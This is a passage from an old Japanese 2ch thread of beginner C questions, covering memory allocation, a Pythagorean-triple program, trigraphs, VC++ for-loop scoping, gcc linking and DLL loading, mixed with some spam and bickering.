0607デフォルトの名無しさんNGNG
>>597
unix だったら select か poll 使うのが普通だと思う
0608599NGNG
はい・・・じゃぁ他へ
行ってきます・・・わざわざありがとうございます
0609デフォルトの名無しさんNGNG
>>606
> 自分で考える脳味噌がないなら逝ってよしー
おまえもな

自分で作ったプログラムが良いプログラムかどうかを
自分で考えることができるのかい?
0610577NGNG
お答えありがとうございます。そして
言葉足らずですみません。

>>602
一応VCで作っています。(Win Me)

>>603
Windowsでは開発環境依存のイベントを使うと
具体的にどうなるのでしょうか?
0611デフォルトの名無しさんNGNG
>>610
C++Builderならばイベントを使えばあなたの目的は達成される。
VCならば....わたしはVCはよくわからない。
0612599NGNG
偽者発見!
>>605は僕ではありません。本当です
0613デフォルトの名無しさんNGNG
rrrrrrrrrrrrrr
aaaaaaaaaaaaa
ss
wwwwwwwww
222222222222
wwwwwwwwwwwww
eeeeeeeeeeeeeee
rrrrrrrrrrrrrr
ddddddddddd
xxxxxxxxxxxxx
cccccccccccccc
vvvvvvvvvvvvv
bbbbbbbbbbbb

ghhgggg
0614デフォルトの名無しさんNGNG
簡単なメモリー管理ってどうやる?
0615デフォルトの名無しさんNGNG
#include <malloc.h>
malloc の返り値をポインタに置き、ポインタ先の内容を使う。
必要無くなったら、free を呼んでメモリ解放ってか。
0616614NGNG
もっと具体的に教えてください
0617デフォルトの名無しさんNGNG
調べりゃ分かるさ。マニュアル有るならマニュアル見る。
VC++なら[F1]を押して、クリッククリック。
0618デフォルトの名無しさんNGNG
メモリー確保・解放のロジック教えて
0619デフォルトの名無しさんNGNG
>>618 自分のOSの仕組みを調べるしかないな。
MS-DOSを除いて根底でメモリ管理やっているのはOSだから。
0620デフォルトの名無しさんNGNG
メモリー確保・解放ってどうやってるの?
0621デフォルトの名無しさんNGNG
#include <stdlib.h>
#include <malloc.h>
char *str = malloc(256);
if(str == NULL) {puts("容量足らへん"); exit(-1);}
sprintf(str, "メモリの%s, %sたよ\n", "確保", "でき");
free(str);

>>618 メモリに関する Java のサイト(英文)
http://search.java.sun.com/Search/java?col=jsun&pw=100%25&ws=0&nh=10&qt=memory&Search.x=13&Search.y=9
0622デフォルトの名無しさんNGNG
聞き方が悪くてすみません。
LocalAlloc()・LocalFree()などの、仮想記憶を含めて
内部ロジックが知りたいのですが?
x86依存してかまいませんが、そんなに依存しませんよね。
0623デフォルトの名無しさんNGNG
Local〜なんかはWindows依存だから置いておくとして、
x86のメモリ管理なら、

インテル・アーキテクチャ ソフトウェア・デベロッパーズ・マニュアル 下巻
の3章を読め
0624デフォルトの名無しさんNGNG
アーキテクチャの詳しいヤツに聞いてやれ:
http://www.google.com/search?hl=ja&q=%83A%81%5B%83L%83e%83N%83%60%83%83+x86+%89%BC%91z%83%81%83%82%83%8A+%8A%C7%97%9D&lr=
0625デフォルトの名無しさんNGNG
聞き方が悪くてすみません。
LocalAlloc()・LocalFree()などの、仮想記憶を含めて
内部ロジックが知りたいのですが?
x86依存してかまいませんが、そんなに依存しませんよね。
ほとんどC言語で書かれてますよね、きっと。

>>621
確保できた場合には表示してませんが、それは仕様ですか?
あと、こう書いたほうが良いとおもいますが・・・

#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>

int main(void)
{
char *str;

if((str = malloc(256)) == NULL) {
puts("容量足らへん");
exit(-1);
} else {
sprintf(str, "メモリの%s, %sたよ", "確保", "でき");
puts(str);
free(str);
exit(0);
}
}
0626デフォルトの名無しさんNGNG
こっちも:
http://www.google.com/search?hl=ja&q=%83q%81%5B%83v%83%81%83%82%83%8A+%89%BC%91z%83%81%83%82%83%8A+%8A%C7%97%9D&lr=
0627デフォルトの名無しさんNGNG
なるほど、ネタだったのね。
マジレスしてしまった623
0628デフォルトの名無しさんNGNG
フルスペックの、sprintf()自作した方居ます?
0629デフォルトの名無しさんNGNG
>>628
超サブセットなら。
というかBASICやってたころね。
0630デフォルトの名無しさんNGNG
>>628 sprintf() 作る前に文字列を type==int, long, double型に
変換する char *str2type(char*, type*) のような関数を書かなきゃ。
0631デフォルトの名無しさんNGNG
8進数、10進数、16進数、エスケープシーケンスも。
0632ビル・ジョブスNGNG
浮動小数点を省いて全て作ったよ。
浮動小数点むちゃくちゃ大変じゃない?
0633デフォルトの名無しさんNGNG
ビル・ジョブス、君のsprintf() は MBCS に対応しているかい?
MBCS にしないと、日本のプログラマはHゲーム送ってくれないよ。
0634ビル・ジョブスNGNG
Hゲームはいらないが、MBCSには対応していない、
というか、対応する必要が無い。
0635デフォルトの名無しさんNGNG
ビル、それはひどいよ。着物を着ている人たちはシフトJIS使ってんだぜ。
君の会社が対象にしているマーケットは何だい?
0636デフォルトの名無しさんNGNG
>>635
マルエツ
0637ビル・ジョブスNGNG
漢字使わない世界向けだからよし!
0638デフォルトの名無しさんNGNG
HA,HA,HA!
ビル、悪い冗談だぜ。地球人の5人に1人は漢字を使う中国人だぜ?
0639デフォルトの名無しさんNGNG
中国人は日本人以上に英語分かりますよ。
0640ビル・ジョブスNGNG
じゃ、その5人中の4人に売るからいーよ
0641デフォルトの名無しさんNGNG
short型の変数をprintfで出力するとき、書式は%dと%hdのどっち?
printfに渡った時点でintにプロモートしてるから%dでいいと思うんだけど、
そうなると%hdの存在理由は?
0642おせーてNGNG
>>641
short=int=4バイトでなかった?
0643おせーてNGNG
C,C++の話しだけどね
0644デフォルトの名無しさんNGNG
>>642
環境依存
ANSI だと、確か
short <= int <= long
0645デフォルトの名無しさんNGNG
%hdて何?
0646ビル・ジョブスNGNG
みんなー処理系依存していませんかー
厨房丸出しですよー
0647デフォルトの名無しさんNGNG
ttp://www.pro.or.jp/~fuji/mybooks/cpro/cpro.0.6.html
にある、ピタゴラスの計算を最速で実行するアルゴリズムの答えが
知りたいです。とりあえず、自分の考えたのは次のようなやつ:

#include <stdio.h>
#include <stdlib.h>
#include <math.h>

int main(int argc, char *argv[])
{
/* 最大の数 */
int maxnum;
int a, b;
int a2, b2;
double c, c2;

if (argc != 2) {
printf("usage: pythago num\n");
return 1;
}

maxnum = atoi(argv[1]);

for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;
if (c2 < 0 || c2 > b2)
continue;

c = sqrt(c2);
if (c - (int)c == 0)
printf("%d %d %d\n", b, (int)c, a);
}
}

return 0;
}
0648デフォルトの名無しさんNGNG
みずらいので、投稿しなおし。。
#include <stdio.h>
#include <stdlib.h>
#include <math.h>

int main(int argc, char *argv[])
{
  /* 最大の数 */
  int maxnum;
  int a, b;
  int a2, b2;
  double c, c2;

  if (argc != 2) {
    printf("usage: pythago num\n");
    return 1;
  }

  maxnum = atoi(argv[1]);

  for (a = maxnum; a > 0; --a) {
    for (b = a - 1; b > 0; --b) {
      a2 = a*a;
      b2 = b*b;
      c2 = a2 - b2;

      if (c2 > b2)
        break;

      c = sqrt(c2);
      if (c - (int)c == 0)
        printf("%d %d %d\n", b, (int)c, a);
    }
  }

  return 0;
}
0649デフォルトの名無しさんNGNG
>>647-648
アルゴリズム的なことはおいといて、
不動小数点演算回路があるとしても、
double をつかうとプログラムの効率が落ちるのでできるだけint を使うように。
int でだめならlong.
longでだめならlong2つに分けるなどして計算する方が早い。
0650デフォルトの名無しさんNGNG
不動?
0651649NGNG
浮動 感じ返還間違えただけ!
0652デフォルトの名無しさんNGNG
>>647-648
> (6,8,10)は全ての数を2で割ることにより(3,4,5)になるので、このような公約数のある場合は除きます

お前のプログラム、除けてないやん。
0653デフォルトの名無しさんNGNG
>>652
スマソ..
#include <stdio.h>
#include <stdlib.h>
#include <math.h>

int gcm(int a, int b);

int main(int argc, char *argv[])
{
int maxnum = 1000;
int a, b;
int a2, b2;
double c, c2;
int cnt = 0;

for (a = maxnum; a > 0; --a) {
for (b = a - 1; b > 0; --b) {
a2 = a*a;
b2 = b*b;
c2 = a2 - b2;

if (c2 > b2)
break;

c = sqrt(c2);

if (gcm(b, (int)c) != 1)
continue;

if (c - (int)c == 0) {
++cnt;
printf("%5d %5d %5d %5d\n", cnt, b, (int)c, a);
}
}
}

return 0;
}
0654デフォルトの名無しさんNGNG

int gcm(int a, int b)
{
int c;

if (a < b)
return gcm(b, a);
c = a%b;
if (c == 0)
return b;
return gcm(b, c);
}
~
0655デフォルトの名無しさんNGNG
int main(int argc, char *argv[])
{
  int maxnum = 1000;
  int a, b;
  int a2, b2;
  double c, c2;
  int cnt = 0;

  for (a = maxnum; a > 0; --a) {
    for (b = a - 1; b > 0; --b) {
      a2 = a*a;
      b2 = b*b;
      c2 = a2 - b2;

      if (c2 > b2)
        break;

      c = sqrt(c2);

      if (c - (int)c == 0) {
        if (gcm(b, (int)c) != 1)
          continue;
        ++cnt;
        printf("%5d %5d %5d %5d\n", cnt, b, (int)c, a);
      }
    }
  }

  return 0;
}
0656デフォルトの名無しさんNGNG
オリジナルがコンパイラの最適化オプション最大にして、
うちのマシンでだいたい、10秒強。

655のほうが、コンパイラの最適化オプション最大にして、
うちのマシンでだいたい、0.2秒強。
0657gcm = 最大公倍数?NGNG
#include<stdio.h>
int main(void)
{
int a, b;
int x, y, z;
int cnt = 0;

for (a = 2;;a++){
for (b = 1;b < a;b++){
x = a*a - b*b;
y = 2 * a * b;
z = a*a + b*b;
if (gcd(y,z) != 1)
continue;
cnt++;
printf("%5d %5d %5d %5d\n", cnt, x, y, z);
}
}
}

int gcd(int a, int b)
{
int c;

if (a < b)
return gcd(b, a);
c = a%b;
if (c == 0)
return b;
return gcd(b, c);
}
0658デフォルトの名無しさんNGNG
>>648
>>653-655
>>657
このスレはコンパイラではありません。
まずコンパイラにかけて実行できるか確かめてください。

学校の課題は自分の力でやりましょう。
0659デフォルトの名無しさんNGNG
>>657
すばらしい。答えもあってるようなんだけど、その式で間違いないことを
言うには、
「x^2 + y^2 = z^2」を満たすような自然数x, yは、かならず
x = a^2 - b^2
y = 2a*b
(a, bはともに自然数)であらわせる」
っていうことが証明できないといけないような。
0660デフォルトの名無しさんNGNG
>>658
> このスレはコンパイラではありません。
> まずコンパイラにかけて実行できるか確かめてください。
コンパイル通らないのあるか?
つか君が全角インデント消さずにコンパイルにかけただけだろ?

> 学校の課題は自分の力でやりましょう。
>>647読んだ?
0661658NGNG
>>657
どうでもいいけどそのプログラムは動かないよ。
0662658NGNG
人に聞くのも才能かもしれんけど
人の脳みそを使うアホPGを養成するのは御免だからね。
0663デフォルトの名無しさんNGNG
>>662
やけに絡むね。
0664658NGNG
最大公倍数なんて言っている奴は中学校へ逝け。
てゆうか君はもしかして消防?
0665658NGNG
PCが買えずコンパイラも買えない貧乏な
小学生か中学校低学年ならばレスしよう。
もし大学生、社会人だったら芯でくれ。
0666657NGNG
>>659
「ピタゴラス数」を google で検索したら
それっぽいのが出てきたのでコードにしてみただけっていう…。

証明は多分ちゃんとされてるものっぽいので探せばでてくるんじゃないかな。

>>661
うちではちゃんと動いたけど…。
gcd()のプロトタイプ宣言が抜けてるとか?

>>664
> gcm = 最大公倍数?
ってのは最大公約数は gcm じゃなくって gcd だろって話です。
m じゃ公倍になるやんていう…。
0667658NGNG
>>666
うそ言ってはいけません。このプログラムが動くはずがありません。
ちゃんとコピぺしましたか?
0668666NGNG
>>667
ちゃんと動きましたが…。

具体的にどう動かないのですか?
コンパイル通る?
0669658NGNG
>>666
中学校からやり直してください。
最大公倍数などありません。
もし社会人で部下だったら即首です。
0670658NGNG

>>668
何度も言うように動くはずがありません。
コンパイル通る?などと聞く時点で嘘がばればれです。
0671666(ちょと暇)NGNG
>>669
いや、だから gcm だと
gcm = greatest common multiple = 最大公倍数
になっちゃうでしょって話。

正しくは
gcd = greatest common divisor = 最大公約数

>>670
というか、ネタなんですか?
0672658NGNG
>>671
中学校からやり直してください。
最大公倍数があるか中学校の教科書を読み直してください。
もし社会人で部下だったらクビです。

何度も言うようにコンパイル通るはずがありません。
このスレへのコピぺで間違えていないか確認してください。
0673デフォルトの名無しさんNGNG
>>671
いんや、GCM は、Greatest Common Measure の略で、
こっちの方が GCD より一般的だと思う。
(て言うか、俺、学校では GCM っていう言い方しか習わなかった。)
0674658NGNG
673
習ったということは高校以上ですか?
それにしては頭悪すぎです。
あなたも中学校からやり直しです。
0675671NGNG
>>673
うわ、初めて知った(恥
google で日本語のページ検索したら
Greatest Common Measure の方が多かったや…。
どうも勉強になりました。
アホ言ってスミマセンでした。
0676デフォルトの名無しさんNGNG
>>658
なんか、楽しくなってきた。。(笑)
ちなみに>>658は、どっかから脳みそコピペしてこないと、
どうしようもありません、ってことで。
0677671NGNG
>>658さん
(最大)公約公倍数は小学校で習う物で、中学校ではやらないと思いますよ。
0678658NGNG
最小公倍数、最大公約数との間違いではないですか?
0679658NGNG
>>677
ならば小学校からやり直してください。
0680677NGNG
>>678
すまん。
公倍公約数って書こうとしたら
(最大)も書いておこうと思ってしまって最小を忘れてました。
0681658NGNG
最大公倍数など無意味です。
最小公倍数との間違いではないですか?

まだ最大公倍数を主張するならば小学生からやり直してください。
0682671NGNG
>>673
ちなみに最小公倍数は LCM (least common multiple) だよね?
他の呼び方があるとか?
0683671NGNG
>>681
スミマセン。
僕が間違ってました。(>>677は。)
もう最大公倍数なんて言いません。
許して下さい。
0684658NGNG
何度も言わせないでください。
小学生からやり直してください。
もしくは以下のサイトで勉強してください。
http://www.geisya.or.jp/~mwm48961/math/m3gcm1.htm
0685デフォルトの名無しさんNGNG
どうでもいいよ
そんなもん求めても腹の足しにならん
0686683NGNG
>>684
了解しました。許してください。すみません。頑張って勉強します。

>>685
うん…。ネタだしね…。スレ汚れるだけだしね…。
0687658NGNG
どうでもいいけど
>>657
は動かないはずです。まず自分でコンパイルが通るかテストしてください。
0688658NGNG
私が間違えていました。コンパイル通ります。
逝きます。
0689658NGNG
gccではコンパイル通りそうですね。
C++BuilderやVC++ではプロトタイプを
main以前に置くか、mainを最後にもってくる必要があると思います。
0690デフォルトの名無しさんNGNG
ジョブス、メール見たぜ。君のsprintfをこちらのライブラリに
組み込んだぞ。関数名は FormatMessage。こいつはすごいぜ。
sprintf と同じように使えるように Format, AFormat という
スタブも用意したぜ。AFormat は動的な sprintf。デバッグ版も
シカゴのサーバに置いといた。sprintf と多少書式が違うが
気にしないでくれ。
char *str = NULL;
AFormat(&str, "これは%1!d!個の%2です。", 3, "リンゴ");
LocalFree((HLOCAL)str);
0691Ruby!NGNG
&&&&&&&&&%%%%%%%%%%%&&&&&%%%%555555555
_______________________________________________________________
★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
Del厨断末鬼の叫び!!!
拙い言いがかりからRubyを必死に煽ろうとしたDel厨が逆襲を受けて死亡!
理論的にDelphiはRubyの足元にも及ばないことが証明された!!!
「Ruby撲滅スレ」
http://piza2.2ch.net/test/read.cgi/tech/1001125342/
★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆★☆
0692デフォルトの名無しさんNGNG
cygwinのgccのmallocで文字数+1のメモリを確保して文字列を表示させたとき
文字列の最後にかぎかっこみたいな変な記号が出るんですが・・。
文字列+2文字以上確保すると消えます。同じような現象起こる人いませんか?
cygwinでは\0が1バイトじゃないんでしょうか?
0693デフォルトの名無しさんNGNG
文字列の最後に\0を自分でいれる必要があるのでは
0694デフォルトの名無しさんNGNG
質問があります。
EOFというのは文字通りファイルの終わりという意味なんでしょうが、
いまいち意味がわかりません。
例えば
int c;
while ((c = getchar()) != EOF)
 putchar(c);
というものがあった場合、コレはいつ終わるんでしょうか?
0695これでわかる?NGNG
for(;;){
 c = getchar(); // 一文字取得
 if(c == EOF) break; // 取得に失敗==ファイルの終わりなら抜ける
 putchar(c); // 取得した文字を表示
}
0696デフォルトの名無しさんNGNG
CTRL+D(CTRL+Z)等が押されたときに
0697デフォルトの名無しさんNGNG
>>695
たぶん、キー入力にいつ終わりが来るのか、と言うことが知りたいと思われ。
>>696が正解かと
0698694NGNG
>>695-697
なるほど、696を実行したところ終了しました。 って当然ですがw
ありがとうございました。
0699デフォルトの名無しさんNGNG
すまん!i++と++iの違いを教えてくれ!
0700デフォルトの名無しさんNGNG
しまった。さげてしまった。あげ
0701デフォルトの名無しさんNGNG
>>699
i++はあとでインクリ
++iはさきにインクリ
0702K&Rの受け売りNGNG
>>699
iが5なら
x = i++;
だとxは5だけど、
x = ++i;
だとxは6になる。
0703デフォルトの名無しさんNGNG
>>701
>>702
ありがとー!!!
こんな違いがあったのかー!
0704デフォルトの名無しさんNGNG
forの中で宣言した変数はforから出ても、開放されないんですか?
0705デフォルトの名無しさんNGNG
開放って変数の有効期限のことか?
0706デフォルトの名無しさんNGNG
LispのインタープリタをCで書くって何からしたらいいの?
何か参考に出来る本あります?
2000行のプログラムなんて書けんよ…。
0707デフォルトの名無しさんNGNG
>>704
C使ってるならforの中で宣言するな。
0708デフォルトの名無しさんNGNG
>>705そうです。
>>707一応VC使ってますが・・・。拡張子もcppになってます。

というのはですねぇ。例題で
#include <iostream>

int main()
{
int n = 8;
int* data = new int[n];
for (int i = 0; i < n; ++i) data[i] = n - i;
for (int i = 0; i < n; ++i) std::cout << data[i] << std::endl;
delete [] data;
return 0;
};
ってのがあるんですけど、VCではコンパイルできないようなんですよ。トホホ
0709デフォルトの名無しさんNGNG
この例題載ってる本の題名は?
0710デフォルトの名無しさんNGNG
>>706 原始的なLispなら数百行位だね?
SchemeとかXLispとかソース読んでみなよ。
0711デフォルトの名無しさんNGNG
どうみてもC++のコードだな。
0712デフォルトの名無しさんNGNG
本じゃないです。もともとメルマガだったようです。
詳説C++プログラミング
http://sonop.tripod.co.jp/
http://sonop.tripod.co.jp/files/magazine/Cmagazine.htmの7月分の34号
0713デフォルトの名無しさんNGNG
>>708
VCが悪い。規格上はOKだが、VCではforのかっこの中で宣言した変数は
外で宣言したのと同じ意味になる。つーことで2回目のintは不要。
それと、最後のセミコロンはいらん。
0714デフォルトの名無しさんNGNG
かつてusing namespace使わずにビルドが通った時代があったのか?もしかして
0715デフォルトの名無しさんNGNG
>>708
そりゃC++だ
VC++6は仕様が古いのでfor文の全体を{}で括れば回避可能
VC++7からは大丈夫(オプションだけど)

C++ゆえsage
0716デフォルトの名無しさんNGNG
>>708
いまのC++でforの( )中で宣言した変数はforのスコープの外には出ない。
VC++はその仕様が決まる前のコンパイラなので、( )の中で宣言した変数は
forスコープの後も生きている。
0717デフォルトの名無しさんNGNG
>>714
std::
ってついてるじゃん、しっかり。
0718デフォルトの名無しさんNGNG
>>713
VCの問題でしたか。ありがとうございます。
最後のセミコロンはこの例題だけついてました。
他の例題にはありませんでした。(念のため)
0719デフォルトの名無しさんNGNG
しまった。C++だったんだ。
スレ違いごめんなさい
0720デフォルトの名無しさんNGNG
>>713 >>715
VC++6もオプションで可能。
ただし、windows.hがインクルードできなくなる弊害があったはず
0721デフォルトの名無しさんNGNG
>>708
それはわりと有名なVC++のバグ
回避法として,次のようなdefineをしておくと良いようです
#define for if(0);else
0722デフォルトの名無しさんNGNG
逆参照ってなにが「逆」なんですか?
0723デフォルトの名無しさんNGNG
>>721
バグじゃないって。仕様が古いだけ。
ANSIの規格がころころ変わったせいでこういうことになってる
0724721NGNG
あれれ? いつのまにそんなにレスが・・・
もう徹底的にアホ丸出しかもわからんね
0725721NGNG
>>723
うげげげ,まじっすか
自分,究極のアホ丸出しやね・・・
0726デフォルトの名無しさんNGNG
>>706
consセルとgcの部分。gcは実験目的とかでない限り必須。
あとは(ユニークな)シンボルを実装すれば見かけはLISPっぽくなる。
consセルというのは、carとcdrの対を持つ2分木の枝。
最初はリストのライブラリを作る様なノリでやれば、
破綻はしないと思う。(ここでリスト操作に慣れておく。)
その後、環境(シンボル:carと値:cdrの対の集合)と
read(入力→S式)とeval(S式→評価)と
lambda(コードと環境を持つクロージャ)、
いくつかの制御構造とオペレータ・・・
結構大変かも。1000行程度で終るとは思うけど。
0727706NGNG
>>710
>>726
どうもありがとうございます。
やっぱり似非理系学生には自力じゃ無理ですかね。
難し過ぎ…。
0728 NGNG
このスレで聴いて良いのか解らないですが
目に止まったので書き込ませてください。

超初心者なのですがCにチャレンジしようかと思っています。
しかし何から取り付いて良いのか全く解りません。(T_T)
一応産業機器にプログラマなのでニモニックやラダー、製品に特化された言語等には
慣れて居るんですけど こっちは畑違いすぎで全く要領を得られないのでアドバイス頂けないでしょうか?
VCとかで簡単なWIN用アプリとか作ってみたいです。
0729デフォルトの名無しさんNGNG
Cを使う用途は?
その仕事の延長で使うのなら特にVCは必要ないと思うが
単にWinのプログラム作るならVC必要ない、Delphiとかの方が楽
0730デフォルトの名無しさんNGNG
Ms_cでグラフィックスの処理をしたいのですが
なにをインクルードしてよいかわかりません。
ご指導お願いします。
0731デフォルトの名無しさんNGNG
>>729
おれはCで核。きみはDelphiを遣え!
0732デフォルトの名無しさんNGNG
>728
WindowsでCを勉強するなら
お金をかけない→MS-DOS+フリーのコンパイラを使う
お金をかける→統合開発環境を買う
というのが一般的ですかね。
窓が出るようなアプリを作るなら"API"とか"MFC"という言葉で検索してください。
0733デフォルトの名無しさんNGNG
>>729
C==VCじゃないよ。
0734チビNGNG
>>728
周囲に教えてくれる人がいないなら、VCの入門書を探すのが近道ですね。
私はそうしました。
0735デフォルトの名無しさんNGNG
>728
 俺は組込み関係で アセンブラにCも使うけど
 Winでプリンタポートで信号出したり 232Cで
 テストしたりのコードは Delphiで書いているよ。

産業用 ATコンパチの組込みソフトなんかも Delphi1(win3.1で動く16bit版ね)で
効率良く書けるしね

 単にCの勉強兼ねてということになると
  VC++ と 組込みCより Delphiと組込みCの方がとっつきいいかも

あ、でも、組込みCのソースの事前デバックの為に持ってる必要はあるかもね
0736デフォルトの名無しさんNGNG
>>727 Lispのインタプリタはスペックを求めない限り君の実力内にあると思うよ。
そういうこと思いつく奴はできると思う。
そりゃCommon LISP準拠の処理系作れとか言ったら俺も首くくるけど。
Lispより簡単なインタプリタっていったら後はForth位しかない。
# ForthはForthで奥が深いけどね...
0737デフォルトの名無しさんNGNG
CommonLispも苦しいけど、Schemeも苦しくない?
末尾再帰の認識とか、初めてインタプリタを作る人には
荷が重いし
0738736NGNG
>>737 そうですね。
Schemeは相当にコンパクトな仕様に思えるのですが、やはり本物だけのことはある。
だから最初は俺Lispでいいと思うんですよ。
0739デフォルトの名無しさんNGNG
↑スレ違いなので別のスレは移動して続きをお願いします。
0740デフォルトの名無しさんNGNG
とにかくDelphi以外は糞なんだよ
0741デフォルトの名無しさんNGNG
>>740
あなたはDelphi以外はあまり使わないようですね。
スレ違いです。逝け
0742デフォルトの名無しさんNGNG
Delphiの記述言語のスレですが何か気に障ることでも?
0743デフォルトの名無しさんNGNG
LSIのコンパイラ使ってる方いらっしゃいませんか?

秀丸のマクロで「コンパイル&実行」ってできないもんでしょうか?
いちいちファイルを移動させるのって結構面倒ですよね?
マクロってものがどんなものかよく分かってませんが・・・

どうか、ひとつ、よろしくお願いします。
0744デフォルトの名無しさんNGNG
かなりすれ違い
0745デフォルトの名無しさんNGNG
>>743
CでもJavaでもうちでは出来てるけど、スレ違いだから教えれん。
誘導↓

秀丸秀丸秀丸
http://mentai.2ch.net/test/read.cgi/prog/998579038/
0746デフォルトの名無しさんNGNG
GCCでリンカの使い方が解りません。
GCCのリンカというよりリンカ、リンクそのものが解ってないです。
そこでお願いがあります。

hello.oというオブジェクト
writehello()
{
puts("Hello\n");
}
という関数が定義してある。

を
main.c
から使う実例(ソース、リンカの使い方)を見せてください。お願いします。
0747偽善者NGNG
$ cat >main.c
void writehello(void);
main()
{ writehello(); }

$ gcc main.c hello.o

$ ./a.out
Hello

$
0748デフォルトの名無しさんNGNG
>>747
writehello() の返り値を int にしないあたりが偽善ですか?
0749デフォルトの名無しさんNGNG
>>747
レスありがとうございます。
しかしhello.cというオブジェクトの作り方も解らないのです。
説明不足ですいません。
0750デフォルトの名無しさんNGNG
>>746
どういうことでしょうか?非常に気になります。
よろしければご教授ください。
0751デフォルトの名無しさんNGNG
>>749
> しかしhello.cというオブジェクトの作り方も解らないのです。
$gcc -c hallo.c

gcc できればmakeとかも調べてみるとよい。
0752偽善者NGNG
>>749
$ man gcc
$ gcc -c hello.c
$ ls

>>748
$ # ううん、ただの勘違いでした テヘ
0753デフォルトの名無しさんNGNG
レスありがとうございました。精進します。
0754デフォルトの名無しさんNGNG
>>753
誰だ貴様!名を名乗れ
0755デフォルトの名無しさんNGNG
>>754
>誰だ貴様!名を名乗れ

どうもありがとうございます。
0756デフォルトの名無しさんNGNG
>>755
どういたしまして
0757デフォルトの名無しさんNGNG
なんじゃこの流れは
不覚にもワラタ
0758デフォルトの名無しさんNGNG
ELF と a.outの違いを50文字以内で俺様にわかり易く説明しろ
0759デフォルトの名無しさんNGNG
アドレスがあったりなかったり
14文字
0760デフォルトの名無しさんNGNG
>>758
スレ違い
(4文字)
0761デフォルトの名無しさんNGNG
>>760
教えろよ
(4文字)
0762デフォルトの名無しさんNGNG
>>758
http://www.freebsd.org/ja/FAQ/misc.html#AOUT-ELF
(48文字)
0763デフォルトの名無しさんNGNG
>>762
98点やる
(5文字)
0764デフォルトの名無しさんNGNG
おまえら最高だよ。ワラタよ。

>>762
これは100点満点だろ。
0765デフォルトの名無しさんNGNG
CでWINDOWS用のアプリケーション作りたいのですが、そのために必要なものは何がありますか?

人に聞いても「マイクロソフトのC++使え」
検索してもサンプルソースがhitするくらいで(参考にはなりますがいろんな手法を知りたい)
どうにも消化不良です。

なにか参考になる書籍でもいいので教えてもらえませんか。
0766デフォルトの名無しさんNGNG
ISBN:4-7561-3600-1
ISBN:4-7561-3601-X
0767デフォルトの名無しさんNGNG
Cygwinを使うといいよ。
GUI部分は、TCL/TKで簡単に実装できるし、
なにより、DOSプロンプトより使いやすい
ターミナルエミュレータがあるから。
0768デフォルトの名無しさんNGNG
それ探してもどこにもないのが悲しいなあ
0769デフォルトの名無しさんNGNG
ja localeの貧弱さが初心者向きじゃないと思われ。

でも手放せない。
0770なむこNGNG
えー、県外まで行って本探しましたよ。でも℃田舎の悲しい宿命、ブツがerr404なんです。
でも色々調べてみます

>>766>>767さんありがとうございました。
0771デフォルトの名無しさんNGNG
だれか「猫でも・・」教えてあげれば?
0772デフォルトの名無しさんNGNG
>>767
>なにより、DOSプロンプトより使いやすい
>ターミナルエミュレータがあるから。
それってどれですか?教えてください。
うちのはDOS窓でしか動きません・・・
0773デフォルトの名無しさんNGNG
>>772
ktermなりrxvtなりEtermなりをコンパイルすればいいじゃん。
0774デフォルトの名無しさんNGNG
/*次のコードが通る理由を説明せよ*/
#include <stdio.h>
void main(){
0775失敗した。スマソNGNG
/*次のコードが通る理由を説明せよ*/
#include <stdio.h>
void main(){
int n[3];
n??(0??)=123;
printf ("n=%d\n",n[0]);
}
0776つづきNGNG
}
0777(T_T)NGNG
ちぇ
0778774,775NGNG
>>777
777取ったんだからいいぢゃん。おめでと。
0779デフォルトの名無しさんNGNG
>>775
おぉ〜。オレ昔のIBM汎用機で本当にそうやって
コーディングしたんだよぉ。懐かしすぎ。
0780デフォルトの名無しさんNGNG
ANSI trigraph feature
0781デフォルトの名無しさんNGNG
>>775
VC++は通りました。
BCBは通りません。
GCCも通りません。
(なんかオプションいるのかなぁ?)
0782デフォルトの名無しさんNGNG
gcc のばやいは -trigraphs をつければ通るんじゃないかな?
0783デフォルトの名無しさんNGNG
>>782
おぉ、通ったよ。さんきゅ。
これってなんで?
 >779 によると、ひょっとして、昔のキーボードって[が
無かったの? {も無かったとか?
0784デフォルトの名無しさんNGNG
>>775
すごい。どういうことか理解できん・・・・

??( > [
??) > ]
だよねぇ?

#include <stdio.h>
void main(){
int n??(3??);
n??(0??)=123;
printf ("n=%d\n",n??(0??));
}

コレで通ったし・・・
0785デフォルトの名無しさんNGNG
>>783-784
いや、だから、トライグラフ…
0786デフォルトの名無しさんNGNG
>>773
Cygwin だと kterm, Eterm って X サーバ無しでも動くんですか?

google で検索かけて、rxvt が X なしで動いてかつ日本語化パッチもあることは分かった
けど、もはや日本語パッチが obsolete っぽい。
0787デフォルトの名無しさんNGNG
>>785
いや、だから、なんでトライグラフっていうものが
 必要だったのか?ってこと。
 [っていうコードが昔は無かったとか?
0788デフォルトの名無しさんNGNG
http://cgi3.tky.3web.ne.jp/~yutakakn/misc/tips/clang/page1.html
google:"トライグラフ"の二番目だった。
0789デフォルトの名無しさんNGNG
>>787
不変文字セット(invariant character set)にないから
0790デフォルトの名無しさんNGNG
??= #
??( [
??) ]
??/ \
??' ^
??< {
??> }
??! |
??- ~
0791デフォルトの名無しさんNGNG
win環境でdllをC言語から使う方法を教えてください。
コンパイラはできればgccでお願いします。
0792デフォルトの名無しさんNGNG
LoadLibraryExで DLL を読みこんで、
GetProcAddress で関数へのアドレスを得る。
必要無くなったら、FreeLibrary を呼べ。
コンパイルの仕方は gcc --help -v |more でもしとけ。
関数ポインタの型は typedef しておくと便利。
0793デフォルトの名無しさんNGNG
レスどうもでした。
0794デフォルトの名無しさんNGNG
argv, argcをmainの引数ではなく
グローバルに参照できませんか?
0795こうか?(wNGNG
int g_argc;
char* g_argv[];
int main(int argc, char* argv[])
{
g_argc = argc;
g_argv = argv;
:
0796デフォルトの名無しさんNGNG
グローバルなポインタ使え。

static int *pargc; char ***pargv;
int main(int argc, char **argv)
{
pargc = &argc; pargv = &argv;
}
0797デフォルトの名無しさんNGNG
perl言語でhere,there構文がありましたよね?(HTMLタグがそのまま書けるやつ)
C言語には、そのような機能はないのでしょうか?
0798デフォルトの名無しさんNGNG
今専門学校で情報処理学科に通ってるんですが
全く意味がわかりません。完全に道を踏み間違えてしまいました。
どうにか将来は音楽関係の仕事に携わりたいのですが
今更音楽学科に変えるお金もありません。
板違いだと思いますが、何かいい方法ないでしょうか??
0799デフォルトの名無しさんNGNG
